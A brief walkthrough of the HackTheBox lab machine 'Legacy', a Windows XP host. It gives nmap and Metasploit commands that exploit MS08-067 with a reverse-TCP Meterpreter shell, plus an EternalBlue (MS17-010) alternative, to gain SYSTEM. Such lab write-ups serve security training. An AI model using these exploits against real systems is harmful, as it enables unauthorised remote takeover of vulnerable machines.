Legacy writeup & walkthrough

Legacy is an easy HackTheBox Windows XP machine vulnerable to MS08-067 (CVE-2008-4250) which gives a direct SYSTEM shell via SMB. EternalBlue (MS17-010) also works.

HackTheBox - Legacy

Access Path

no access => SYSTEM

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sV -sC -Pn 10.10.10.4
# Open: NetBIOS (139), SMB (445) - Windows XP SP3

# MS08-067 (CVE-2008-4250)
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 10.10.10.4
set LHOST tun0
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
# => NT AUTHORITYSYSTEM (no privesc needed)

# Alternative: EternalBlue (MS17-010)
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 10.10.10.4
set LHOST tun0
exploit